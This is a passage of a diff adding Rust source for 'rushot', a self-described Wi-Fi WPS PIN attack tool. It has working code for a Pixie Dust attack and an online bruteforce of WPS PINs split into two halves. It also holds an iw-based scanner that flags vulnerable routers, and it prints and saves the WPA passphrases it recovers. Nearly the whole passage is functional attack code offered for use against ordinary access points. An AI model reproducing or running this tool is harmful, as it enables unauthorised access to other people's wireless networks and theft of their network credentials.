println!("[i] PIN saved in {}", filename.display());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn wps_connection(
|
||||||
|
&mut self,
|
||||||
|
bssid: Option<&str>,
|
||||||
|
pin: Option<&str>,
|
||||||
|
pixiemode: bool,
|
||||||
|
pbc_mode: bool,
|
||||||
|
verbose_override: Option<bool>,
|
||||||
|
) -> bool {
|
||||||
|
let verbose = verbose_override.unwrap_or(self.print_debug);
|
||||||
|
self.pixie_creds.clear();
|
||||||
|
self.connection_status.clear();
|
||||||
|
|
||||||
|
let cmd = if pbc_mode {
|
||||||
|
if let Some(b) = bssid {
|
||||||
|
println!("[*] Starting WPS push button connection to {}…", b);
|
||||||
|
format!("WPS_PBC {}", b)
|
||||||
|
} else {
|
||||||
|
println!("[*] Starting WPS push button connection…");
|
||||||
|
"WPS_PBC".to_string()
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
let p = pin.unwrap_or("");
|
||||||
|
let b = bssid.unwrap_or("");
|
||||||
|
println!("[*] Trying PIN '{}'…", p);
|
||||||
|
format!("WPS_REG {} {}", b, p)
|
||||||
|
};
|
||||||
|
|
||||||
|
let r = self.send_and_receive(&cmd);
|
||||||
|
if !r.contains("OK") {
|
||||||
|
self.connection_status.status = "WPS_FAIL".to_string();
|
||||||
|
println!("{}", Self::explain_wpas_not_ok_status(&cmd, &r));
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
let target_b = bssid.unwrap_or("").to_lowercase();
|
||||||
|
let stdout = self.wpas.stdout.take();
|
||||||
|
if let Some(out) = stdout {
|
||||||
|
let reader = BufReader::new(out);
|
||||||
|
for line_res in reader.lines() {
|
||||||
|
let line = match line_res {
|
||||||
|
Ok(l) => l,
|
||||||
|
Err(_) => break,
|
||||||
|
};
|
||||||
|
self.handle_wpas_line(&line, pixiemode, pbc_mode, verbose, &target_b);
|
||||||
|
|
||||||
|
if self.connection_status.status == "WSC_NACK"
|
||||||
|
|| self.connection_status.status == "GOT_PSK"
|
||||||
|
|| self.connection_status.status == "WPS_FAIL"
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
self.send_only("WPS_CANCEL");
|
||||||
|
false
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn single_connection(
|
||||||
|
&mut self,
|
||||||
|
bssid: Option<&str>,
|
||||||
|
mut pin: Option<String>,
|
||||||
|
pixiemode: bool,
|
||||||
|
pbc_mode: bool,
|
||||||
|
showpixiecmd: bool,
|
||||||
|
pixieforce: bool,
|
||||||
|
store_pin_on_fail: bool,
|
||||||
|
) -> bool {
|
||||||
|
let bssid_str = bssid.unwrap_or("").to_string();
|
||||||
|
if pin.is_none() {
|
||||||
|
if pixiemode {
|
||||||
|
let clean_bssid = bssid_str.replace(':', "").to_uppercase();
|
||||||
|
let filename = self.pixiewps_dir.join(format!("{}.run", clean_bssid));
|
||||||
|
let mut loaded_pin = None;
|
||||||
|
if let Ok(file) = File::open(&filename) {
|
||||||
|
let mut reader = BufReader::new(file);
|
||||||
|
let mut first_line = String::new();
|
||||||
|
if reader.read_line(&mut first_line).is_ok() && !first_line.trim().is_empty() {
|
||||||
|
let t_pin = first_line.trim().to_string();
|
||||||
|
print!(
|
||||||
|
"[?] Use previously calculated PIN {}? [n/Y] ",
|
||||||
|
t_pin
|
||||||
|
);
|
||||||
|
io::stdout().flush().ok();
|
||||||
|
let mut ans = String::new();
|
||||||
|
io::stdin().read_line(&mut ans).ok();
|
||||||
|
if !ans.trim().eq_ignore_ascii_case("n") {
|
||||||
|
loaded_pin = Some(t_pin);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
pin = loaded_pin.or_else(|| {
|
||||||
|
Some(
|
||||||
|
self.generator
|
||||||
|
.get_likely(&bssid_str)
|
||||||
|
.unwrap_or_else(|| "12345670".to_string()),
|
||||||
|
)
|
||||||
|
});
|
||||||
|
} else if !pbc_mode {
|
||||||
|
pin = self
|
||||||
|
.generator
|
||||||
|
.prompt_wpspin(&bssid_str)
|
||||||
|
.or_else(|| Some("12345670".to_string()));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
let effective_pin = pin.clone().unwrap_or_else(|| "<PBC mode>".to_string());
|
||||||
|
|
||||||
|
if pbc_mode {
|
||||||
|
self.wps_connection(bssid, None, false, true, None);
|
||||||
|
let bssid_got = self.connection_status.bssid.clone();
|
||||||
|
return self.finish_connection(
|
||||||
|
&bssid_got,
|
||||||
|
"<PBC mode>",
|
||||||
|
pixiemode,
|
||||||
|
pbc_mode,
|
||||||
|
showpixiecmd,
|
||||||
|
pixieforce,
|
||||||
|
store_pin_on_fail,
|
||||||
|
);
|
||||||
|
} else {
|
||||||
|
self.wps_connection(bssid, pin.as_deref(), pixiemode, false, None);
|
||||||
|
return self.finish_connection(
|
||||||
|
&bssid_str,
|
||||||
|
&effective_pin,
|
||||||
|
pixiemode,
|
||||||
|
pbc_mode,
|
||||||
|
showpixiecmd,
|
||||||
|
pixieforce,
|
||||||
|
store_pin_on_fail,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn finish_connection(
|
||||||
|
&mut self,
|
||||||
|
bssid: &str,
|
||||||
|
pin: &str,
|
||||||
|
pixiemode: bool,
|
||||||
|
pbc_mode: bool,
|
||||||
|
showpixiecmd: bool,
|
||||||
|
pixieforce: bool,
|
||||||
|
store_pin_on_fail: bool,
|
||||||
|
) -> bool {
|
||||||
|
if self.connection_status.status == "GOT_PSK" {
|
||||||
|
let psk = self.connection_status.wpa_psk.clone();
|
||||||
|
let essid = self.connection_status.essid.clone();
|
||||||
|
self.credential_print(pin, &psk, &essid);
|
||||||
|
if self.save_result {
|
||||||
|
self.save_result(bssid, &essid, pin, &psk);
|
||||||
|
}
|
||||||
|
if !pbc_mode {
|
||||||
|
let clean_bssid = bssid.replace(':', "").to_uppercase();
|
||||||
|
let filename = self.pixiewps_dir.join(format!("{}.run", clean_bssid));
|
||||||
|
let _ = fs::remove_file(filename);
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
} else if pixiemode {
|
||||||
|
if self.pixie_creds.got_all() {
|
||||||
|
if let Some(found_pin) = self.run_pixiewps(showpixiecmd, pixieforce) {
|
||||||
|
return self.single_connection(
|
||||||
|
Some(bssid),
|
||||||
|
Some(found_pin),
|
||||||
|
false,
|
||||||
|
false,
|
||||||
|
showpixiecmd,
|
||||||
|
pixieforce,
|
||||||
|
true,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
} else {
|
||||||
|
println!("[!] Not enough data to run Pixie Dust attack");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if store_pin_on_fail {
|
||||||
|
self.save_pin(bssid, pin);
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn smart_bruteforce(
|
||||||
|
&mut self,
|
||||||
|
bssid: &str,
|
||||||
|
start_pin: Option<String>,
|
||||||
|
delay: Option<f64>,
|
||||||
|
) {
|
||||||
|
let mask = if start_pin.is_none() || start_pin.as_ref().unwrap().len() < 4 {
|
||||||
|
let clean_bssid = bssid.replace(':', "").to_uppercase();
|
||||||
|
let filename = self.sessions_dir.join(format!("{}.run", clean_bssid));
|
||||||
|
let mut restored = None;
|
||||||
|
if let Ok(file) = File::open(&filename) {
|
||||||
|
let mut reader = BufReader::new(file);
|
||||||
|
let mut line = String::new();
|
||||||
|
if reader.read_line(&mut line).is_ok() && !line.trim().is_empty() {
|
||||||
|
let m = line.trim().to_string();
|
||||||
|
print!("[?] Restore previous session for {}? [n/Y] ", bssid);
|
||||||
|
io::stdout().flush().ok();
|
||||||
|
let mut ans = String::new();
|
||||||
|
io::stdin().read_line(&mut ans).ok();
|
||||||
|
if !ans.trim().eq_ignore_ascii_case("n") {
|
||||||
|
restored = Some(m);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
restored.unwrap_or_else(|| "0000".to_string())
|
||||||
|
} else {
|
||||||
|
let p = start_pin.unwrap();
|
||||||
|
if p.len() >= 7 {
|
||||||
|
p[..7].to_string()
|
||||||
|
} else {
|
||||||
|
p
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
let mut status = BruteforceStatus::new();
|
||||||
|
status.mask = mask.clone();
|
||||||
|
self.bruteforce = Some(status);
|
||||||
|
|
||||||
|
if mask.len() == 4 {
|
||||||
|
if let Some(f_half) = self.first_half_bruteforce(bssid, &mask, delay) {
|
||||||
|
if self.connection_status.status != "GOT_PSK" {
|
||||||
|
self.second_half_bruteforce(bssid, &f_half, "001", delay);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else if mask.len() >= 7 {
|
||||||
|
let f_half = &mask[..4];
|
||||||
|
let s_half = &mask[4..7];
|
||||||
|
self.second_half_bruteforce(bssid, f_half, s_half, delay);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Save session on exit
|
||||||
|
let clean_bssid = bssid.replace(':', "").to_uppercase();
|
||||||
|
let filename = self.sessions_dir.join(format!("{}.run", clean_bssid));
|
||||||
|
if let Some(ref b_status) = self.bruteforce {
|
||||||
|
if let Ok(mut f) = File::create(&filename) {
|
||||||
|
let _ = writeln!(f, "{}", b_status.mask);
|
||||||
|
println!("[i] Session saved in {}", filename.display());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn first_half_bruteforce(
|
||||||
|
&mut self,
|
||||||
|
bssid: &str,
|
||||||
|
start_f_half: &str,
|
||||||
|
delay: Option<f64>,
|
||||||
|
) -> Option<String> {
|
||||||
|
let mut cur: u32 = start_f_half.parse().unwrap_or(0);
|
||||||
|
while cur < 10000 {
|
||||||
|
let f_half_str = format!("{:04}", cur);
|
||||||
|
let t: u32 = format!("{}000", f_half_str).parse().unwrap_or(0);
|
||||||
|
let csum = WPSpin::checksum(t);
|
||||||
|
let pin = format!("{}000{}", f_half_str, csum);
|
||||||
|
|
||||||
|
self.single_connection(
|
||||||
|
Some(bssid),
|
||||||
|
Some(pin),
|
||||||
|
false,
|
||||||
|
false,
|
||||||
|
false,
|
||||||
|
false,
|
||||||
|
false,
|
||||||
|
);
|
||||||
|
|
||||||
|
if self.connection_status.is_first_half_valid() {
|
||||||
|
println!("[+] First half found");
|
||||||
|
return Some(f_half_str);
|
||||||
|
} else if self.connection_status.status == "WPS_FAIL" {
|
||||||
|
println!("[!] WPS transaction failed, re-trying last pin");
|
||||||
|
return self.first_half_bruteforce(bssid, &f_half_str, delay);
|
||||||
|
}
|
||||||
|
|
||||||
|
cur += 1;
|
||||||
|
if let Some(ref mut b_status) = self.bruteforce {
|
||||||
|
b_status.register_attempt(format!("{:04}", cur));
|
||||||
|
}
|
||||||
|
|
||||||
|
if let Some(d) = delay {
|
||||||
|
thread::sleep(Duration::from_secs_f64(d));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
println!("[-] First half not found");
|
||||||
|
None
|
||||||
|
}
|
||||||
|
|
||||||
|
fn second_half_bruteforce(
|
||||||
|
&mut self,
|
||||||
|
bssid: &str,
|
||||||
|
f_half: &str,
|
||||||
|
start_s_half: &str,
|
||||||
|
delay: Option<f64>,
|
||||||
|
) -> Option<String> {
|
||||||
|
let mut cur: u32 = start_s_half.parse().unwrap_or(0);
|
||||||
|
while cur < 1000 {
|
||||||
|
let s_half_str = format!("{:03}", cur);
|
||||||
|
let t: u32 = format!("{}{}", f_half, s_half_str).parse().unwrap_or(0);
|
||||||
|
let csum = WPSpin::checksum(t);
|
||||||
|
let pin = format!("{}{}{}", f_half, s_half_str, csum);
|
||||||
|
|
||||||
|
self.single_connection(
|
||||||
|
Some(bssid),
|
||||||
|
Some(pin.clone()),
|
||||||
|
false,
|
||||||
|
false,
|
||||||
|
false,
|
||||||
|
false,
|
||||||
|
false,
|
||||||
|
);
|
||||||
|
|
||||||
|
if self.connection_status.last_m_message > 6 {
|
||||||
|
return Some(pin);
|
||||||
|
} else if self.connection_status.status == "WPS_FAIL" {
|
||||||
|
println!("[!] WPS transaction failed, re-trying last pin");
|
||||||
|
return self.second_half_bruteforce(bssid, f_half, &s_half_str, delay);
|
||||||
|
}
|
||||||
|
|
||||||
|
cur += 1;
|
||||||
|
if let Some(ref mut b_status) = self.bruteforce {
|
||||||
|
b_status.register_attempt(format!("{}{:03}", f_half, cur));
|
||||||
|
}
|
||||||
|
|
||||||
|
if let Some(d) = delay {
|
||||||
|
thread::sleep(Duration::from_secs_f64(d));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
None
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn cleanup(&self) {
|
||||||
|
let _ = fs::remove_file(&self.res_socket_file);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Drop for Companion {
|
||||||
|
fn drop(&mut self) {
|
||||||
|
self.cleanup();
|
||||||
|
let _ = self.wpas.kill();
|
||||||
|
}
|
||||||
|
}
|
||||||
69
src/mac.rs
Normal file
69
src/mac.rs
Normal file
|
|
@ -0,0 +1,69 @@
|
||||||
|
use std::fmt;
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, PartialEq, Eq, PartialOrd, Ord)]
|
||||||
|
pub struct NetworkAddress {
|
||||||
|
int_repr: u64,
|
||||||
|
str_repr: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl NetworkAddress {
|
||||||
|
pub fn from_str(mac: &str) -> Result<Self, String> {
|
||||||
|
let cleaned = mac.replace(['-', '.'], ":").to_uppercase();
|
||||||
|
let hex_digits = cleaned.replace(':', "");
|
||||||
|
if hex_digits.len() != 12 {
|
||||||
|
return Err("Invalid MAC address length".to_string());
|
||||||
|
}
|
||||||
|
let int_val = u64::from_str_radix(&hex_digits, 16)
|
||||||
|
.map_err(|_| "Invalid hex digits in MAC address".to_string())?;
|
||||||
|
|
||||||
|
let str_val = Self::int2mac(int_val);
|
||||||
|
Ok(Self {
|
||||||
|
int_repr: int_val,
|
||||||
|
str_repr: str_val,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
#[allow(dead_code)]
|
||||||
|
pub fn from_int(mac: u64) -> Self {
|
||||||
|
Self {
|
||||||
|
int_repr: mac,
|
||||||
|
str_repr: Self::int2mac(mac),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn integer(&self) -> u64 {
|
||||||
|
self.int_repr
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn set_integer(&mut self, val: u64) {
|
||||||
|
self.int_repr = val;
|
||||||
|
self.str_repr = Self::int2mac(val);
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn string(&self) -> &str {
|
||||||
|
&self.str_repr
|
||||||
|
}
|
||||||
|
|
||||||
|
#[allow(dead_code)]
|
||||||
|
pub fn set_string(&mut self, s: &str) {
|
||||||
|
if let Ok(addr) = Self::from_str(s) {
|
||||||
|
self.int_repr = addr.int_repr;
|
||||||
|
self.str_repr = addr.str_repr;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn int2mac(mac: u64) -> String {
|
||||||
|
let hex_str = format!("{:012X}", mac & 0xFFFFFFFFFFFF);
|
||||||
|
let mut parts = Vec::new();
|
||||||
|
for i in (0..12).step_by(2) {
|
||||||
|
parts.push(&hex_str[i..i + 2]);
|
||||||
|
}
|
||||||
|
parts.join(":")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl fmt::Display for NetworkAddress {
|
||||||
|
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
|
||||||
|
write!(f, "{}", self.str_repr)
|
||||||
|
}
|
||||||
|
}
|
||||||
217
src/main.rs
Normal file
217
src/main.rs
Normal file
|
|
@ -0,0 +1,217 @@
|
||||||
|
mod companion;
|
||||||
|
mod mac;
|
||||||
|
mod scanner;
|
||||||
|
mod wpspin;
|
||||||
|
|
||||||
|
use clap::Parser;
|
||||||
|
use companion::Companion;
|
||||||
|
use scanner::WiFiScanner;
|
||||||
|
use std::fs;
|
||||||
|
use std::io::{self, Write};
|
||||||
|
use std::path::Path;
|
||||||
|
use std::process::{exit, Command};
|
||||||
|
|
||||||
|
/// OneShotPin 0.0.2 in Rust (rushot) - Wi-Fi WPA WPS PIN attack tool
|
||||||
|
#[derive(Parser, Debug)]
|
||||||
|
#[command(
|
||||||
|
name = "rushot",
|
||||||
|
author = "JesusChapman",
|
||||||
|
version = "0.1.0",
|
||||||
|
about = "Wi-Fi WPA WPS PIN attack and scanning tool reimplemented 1:1 in Rust",
|
||||||
|
after_help = "Example: rushot -i wlan0 -b 00:90:4C:C1:AC:21 -K"
|
||||||
|
)]
|
||||||
|
struct Args {
|
||||||
|
/// Name of the interface to use
|
||||||
|
#[arg(short = 'i', long = "interface", required = true)]
|
||||||
|
interface: String,
|
||||||
|
|
||||||
|
/// BSSID of the target AP
|
||||||
|
#[arg(short = 'b', long = "bssid")]
|
||||||
|
bssid: Option<String>,
|
||||||
|
|
||||||
|
/// Use the specified pin (arbitrary string or 4/8 digit pin)
|
||||||
|
#[arg(short = 'p', long = "pin")]
|
||||||
|
pin: Option<String>,
|
||||||
|
|
||||||
|
/// Run Pixie Dust attack
|
||||||
|
#[arg(short = 'K', long = "pixie-dust")]
|
||||||
|
pixie_dust: bool,
|
||||||
|
|
||||||
|
/// Run Pixiewps with --force option (bruteforce full range)
|
||||||
|
#[arg(short = 'F', long = "pixie-force")]
|
||||||
|
pixie_force: bool,
|
||||||
|
|
||||||
|
/// Always print Pixiewps command
|
||||||
|
#[arg(short = 'X', long = "show-pixie-cmd")]
|
||||||
|
show_pixie_cmd: bool,
|
||||||
|
|
||||||
|
/// Run online bruteforce attack
|
||||||
|
#[arg(short = 'B', long = "bruteforce")]
|
||||||
|
bruteforce: bool,
|
||||||
|
|
||||||
|
/// Run WPS push button connection
|
||||||
|
#[arg(long = "pbc", alias = "push-button-connect")]
|
||||||
|
pbc: bool,
|
||||||
|
|
||||||
|
/// Set the delay between pin attempts (in seconds)
|
||||||
|
#[arg(short = 'd', long = "delay")]
|
||||||
|
delay: Option<f64>,
|
||||||
|
|
||||||
|
/// Write AP credentials to file on success
|
||||||
|
#[arg(short = 'w', long = "write")]
|
||||||
|
write: bool,
|
||||||
|
|
||||||
|
/// Down network interface when the work is finished
|
||||||
|
#[arg(long = "iface-down")]
|
||||||
|
iface_down: bool,
|
||||||
|
|
||||||
|
/// Use custom file with vulnerable devices list
|
||||||
|
#[arg(long = "vuln-list", default_value = "vulnwsc.txt")]
|
||||||
|
vuln_list: String,
|
||||||
|
|
||||||
|
/// Run in a loop
|
||||||
|
#[arg(short = 'l', long = "loop")]
|
||||||
|
loop_mode: bool,
|
||||||
|
|
||||||
|
/// Reverse order of networks in the list of networks. Useful on small displays
|
||||||
|
#[arg(short = 'r', long = "reverse-scan")]
|
||||||
|
reverse_scan: bool,
|
||||||
|
|
||||||
|
/// Activate MediaTek Wi-Fi interface driver on startup and deactivate it on exit
|
||||||
|
#[arg(long = "mtk-wifi")]
|
||||||
|
mtk_wifi: bool,
|
||||||
|
|
||||||
|
/// Verbose output
|
||||||
|
#[arg(short = 'v', long = "verbose")]
|
||||||
|
verbose: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
fn die(msg: &str) -> ! {
|
||||||
|
eprintln!("{}", msg);
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
fn iface_up(iface: &str, down: bool) -> bool {
|
||||||
|
let action = if down { "down" } else { "up" };
|
||||||
|
let status = Command::new("ip")
|
||||||
|
.args(["link", "set", iface, action])
|
||||||
|
.status();
|
||||||
|
match status {
|
||||||
|
Ok(s) => s.success(),
|
||||||
|
Err(_) => false,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn main() {
|
||||||
|
let mut args = Args::parse();
|
||||||
|
|
||||||
|
// Check root user
|
||||||
|
let uid = unsafe { libc::getuid() };
|
||||||
|
if uid != 0 {
|
||||||
|
die("Run it as root");
|
||||||
|
}
|
||||||
|
|
||||||
|
if args.mtk_wifi {
|
||||||
|
let mtk_path = Path::new("/dev/wmtWifi");
|
||||||
|
if !mtk_path.exists() {
|
||||||
|
die("Unable to activate MediaTek Wi-Fi interface device (--mtk-wifi): /dev/wmtWifi does not exist");
|
||||||
|
}
|
||||||
|
let _ = Command::new("chmod").args(["644", "/dev/wmtWifi"]).status();
|
||||||
|
if fs::write(mtk_path, "1").is_err() {
|
||||||
|
die("Failed to write '1' to /dev/wmtWifi");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if !iface_up(&args.interface, false) {
|
||||||
|
die(&format!("Unable to up interface \"{}\"", args.interface));
|
||||||
|
}
|
||||||
|
|
||||||
|
loop {
|
||||||
|
let target_bssid = if args.pbc {
|
||||||
|
None
|
||||||
|
} else {
|
||||||
|
if args.bssid.is_none() {
|
||||||
|
let vuln_list = if Path::new(&args.vuln_list).exists() {
|
||||||
|
fs::read_to_string(&args.vuln_list)
|
||||||
|
.unwrap_or_default()
|
||||||
|
.lines()
|
||||||
|
.map(|s| s.to_string())
|
||||||
|
.collect()
|
||||||
|
} else {
|
||||||
|
Vec::new()
|
||||||
|
};
|
||||||
|
|
||||||
|
let scanner = WiFiScanner::new(args.interface.clone(), vuln_list);
|
||||||
|
if !args.loop_mode {
|
||||||
|
println!("[*] BSSID not specified (--bssid) — scanning for available networks");
|
||||||
|
}
|
||||||
|
args.bssid = scanner.prompt_network(args.reverse_scan);
|
||||||
|
}
|
||||||
|
args.bssid.clone()
|
||||||
|
};
|
||||||
|
|
||||||
|
let mut companion = match Companion::new(
|
||||||
|
args.interface.clone(),
|
||||||
|
args.write,
|
||||||
|
args.verbose,
|
||||||
|
target_bssid.clone().unwrap_or_default(),
|
||||||
|
) {
|
||||||
|
Ok(c) => c,
|
||||||
|
Err(e) => {
|
||||||
|
eprintln!("[!] Companion init error: {}", e);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
if args.pbc {
|
||||||
|
companion.single_connection(
|
||||||
|
None,
|
||||||
|
None,
|
||||||
|
false,
|
||||||
|
true,
|
||||||
|
false,
|
||||||
|
false,
|
||||||
|
false,
|
||||||
|
);
|
||||||
|
} else if let Some(ref bssid_val) = target_bssid {
|
||||||
|
if args.bruteforce {
|
||||||
|
companion.smart_bruteforce(bssid_val, args.pin.clone(), args.delay);
|
||||||
|
} else {
|
||||||
|
companion.single_connection(
|
||||||
|
Some(bssid_val),
|
||||||
|
args.pin.clone(),
|
||||||
|
args.pixie_dust,
|
||||||
|
false,
|
||||||
|
args.show_pixie_cmd,
|
||||||
|
args.pixie_force,
|
||||||
|
false,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if !args.loop_mode {
|
||||||
|
break;
|
||||||
|
} else {
|
||||||
|
args.bssid = None;
|
||||||
|
print!("\n[?] Exit the script (otherwise continue to AP scan)? [N/y] ");
|
||||||
|
io::stdout().flush().ok();
|
||||||
|
let mut ans = String::new();
|
||||||
|
if io::stdin().read_line(&mut ans).is_ok() {
|
||||||
|
if ans.trim().eq_ignore_ascii_case("y") {
|
||||||
|
println!("Aborting…");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if args.iface_down {
|
||||||
|
iface_up(&args.interface, true);
|
||||||
|
}
|
||||||
|
|
||||||
|
if args.mtk_wifi {
|
||||||
|
let _ = fs::write("/dev/wmtWifi", "0");
|
||||||
|
}
|
||||||
|
}
|
||||||
344
src/scanner.rs
Normal file
344
src/scanner.rs
Normal file
|
|
@ -0,0 +1,344 @@
|
||||||
|
use colored::*;
|
||||||
|
use regex::Regex;
|
||||||
|
use std::fs::File;
|
||||||
|
use std::io::{self, BufRead, BufReader, Write};
|
||||||
|
use std::process::Command;
|
||||||
|
use unicode_width::UnicodeWidthStr;
|
||||||
|
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub struct WiFiNetwork {
|
||||||
|
pub bssid: String,
|
||||||
|
pub essid: String,
|
||||||
|
pub level: i32,
|
||||||
|
pub security_type: String,
|
||||||
|
pub wps: bool,
|
||||||
|
pub wps_locked: bool,
|
||||||
|
pub model: String,
|
||||||
|
pub model_number: String,
|
||||||
|
pub device_name: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct WiFiScanner {
|
||||||
|
pub interface: String,
|
||||||
|
pub vuln_list: Vec<String>,
|
||||||
|
pub stored: Vec<(String, String)>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl WiFiScanner {
|
||||||
|
pub fn new(interface: String, vuln_list: Vec<String>) -> Self {
|
||||||
|
let stored = Self::load_stored_reports();
|
||||||
|
Self {
|
||||||
|
interface,
|
||||||
|
vuln_list,
|
||||||
|
stored,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn load_stored_reports() -> Vec<(String, String)> {
|
||||||
|
let path = "reports/stored.csv";
|
||||||
|
let file = match File::open(path) {
|
||||||
|
Ok(f) => f,
|
||||||
|
Err(_) => return Vec::new(),
|
||||||
|
};
|
||||||
|
|
||||||
|
let reader = BufReader::new(file);
|
||||||
|
let mut stored = Vec::new();
|
||||||
|
for (i, line) in reader.lines().enumerate() {
|
||||||
|
if i == 0 {
|
||||||
|
continue; // Skip header
|
||||||
|
}
|
||||||
|
if let Ok(l) = line {
|
||||||
|
let parts: Vec<&str> = l.split(';').map(|s| s.trim_matches('"')).collect();
|
||||||
|
if parts.len() >= 3 {
|
||||||
|
stored.push((parts[1].to_uppercase(), parts[2].to_string()));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
stored
|
||||||
|
}
|
||||||
|
|
||||||
|
fn unescape_str(s: &str) -> String {
|
||||||
|
let mut result = String::new();
|
||||||
|
let mut chars = s.chars().peekable();
|
||||||
|
while let Some(c) = chars.next() {
|
||||||
|
if c == '\\' {
|
||||||
|
if let Some(&next) = chars.peek() {
|
||||||
|
match next {
|
||||||
|
'x' => {
|
||||||
|
chars.next();
|
||||||
|
let h1 = chars.next().unwrap_or('0');
|
||||||
|
let h2 = chars.next().unwrap_or('0');
|
||||||
|
let hex_str = format!("{}{}", h1, h2);
|
||||||
|
if let Ok(byte) = u8::from_str_radix(&hex_str, 16) {
|
||||||
|
result.push(byte as char);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
'n' => {
|
||||||
|
chars.next();
|
||||||
|
result.push('\n');
|
||||||
|
}
|
||||||
|
'r' => {
|
||||||
|
chars.next();
|
||||||
|
result.push('\r');
|
||||||
|
}
|
||||||
|
't' => {
|
||||||
|
chars.next();
|
||||||
|
result.push('\t');
|
||||||
|
}
|
||||||
|
'\\' => {
|
||||||
|
chars.next();
|
||||||
|
result.push('\\');
|
||||||
|
}
|
||||||
|
_ => {
|
||||||
|
result.push(c);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
result.push(c);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
result.push(c);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
result
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn iw_scanner(&self, reverse_scan: bool) -> Option<Vec<WiFiNetwork>> {
|
||||||
|
let output = Command::new("iw")
|
||||||
|
.args(["dev", &self.interface, "scan"])
|
||||||
|
.output();
|
||||||
|
|
||||||
|
let output = match output {
|
||||||
|
Ok(o) => o,
|
||||||
|
Err(e) => {
|
||||||
|
println!("[!] Error running iw scan: {}", e);
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
let stdout = String::from_utf8_lossy(&output.stdout);
|
||||||
|
let lines: Vec<&str> = stdout.lines().collect();
|
||||||
|
|
||||||
|
let re_bss = Regex::new(r"BSS (\S+)( )?\(on \w+\)").unwrap();
|
||||||
|
let re_ssid = Regex::new(r"SSID: (.*)").unwrap();
|
||||||
|
let re_signal = Regex::new(r"signal: ([+-]?([0-9]*[.])?[0-9]+) dBm").unwrap();
|
||||||
|
let re_cap = Regex::new(r"(capability): (.+)").unwrap();
|
||||||
|
let re_rsn = Regex::new(r"(RSN):\t [*] Version: (\d+)").unwrap();
|
||||||
|
let re_wpa = Regex::new(r"(WPA):\t [*] Version: (\d+)").unwrap();
|
||||||
|
let re_wps = Regex::new(r"WPS:\t [*] Version: (([0-9]*[.])?[0-9]+)").unwrap();
|
||||||
|
let re_wps_lock = Regex::new(r" [*] AP setup locked: (0x[0-9]+)").unwrap();
|
||||||
|
let re_model = Regex::new(r" [*] Model: (.*)").unwrap();
|
||||||
|
let re_model_num = Regex::new(r" [*] Model Number: (.*)").unwrap();
|
||||||
|
let re_dev_name = Regex::new(r" [*] Device name: (.*)").unwrap();
|
||||||
|
|
||||||
|
let mut networks: Vec<WiFiNetwork> = Vec::new();
|
||||||
|
|
||||||
|
for line in lines {
|
||||||
|
if line.starts_with("command failed:") {
|
||||||
|
println!("[!] Error: {}", line);
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let line_trimmed = line.trim_start_matches('\t');
|
||||||
|
|
||||||
|
if let Some(cap) = re_bss.captures(line_trimmed) {
|
||||||
|
let bssid = cap.get(1).unwrap().as_str().to_uppercase();
|
||||||
|
networks.push(WiFiNetwork {
|
||||||
|
bssid,
|
||||||
|
essid: String::new(),
|
||||||
|
level: 0,
|
||||||
|
security_type: "Unknown".to_string(),
|
||||||
|
wps: false,
|
||||||
|
wps_locked: false,
|
||||||
|
model: String::new(),
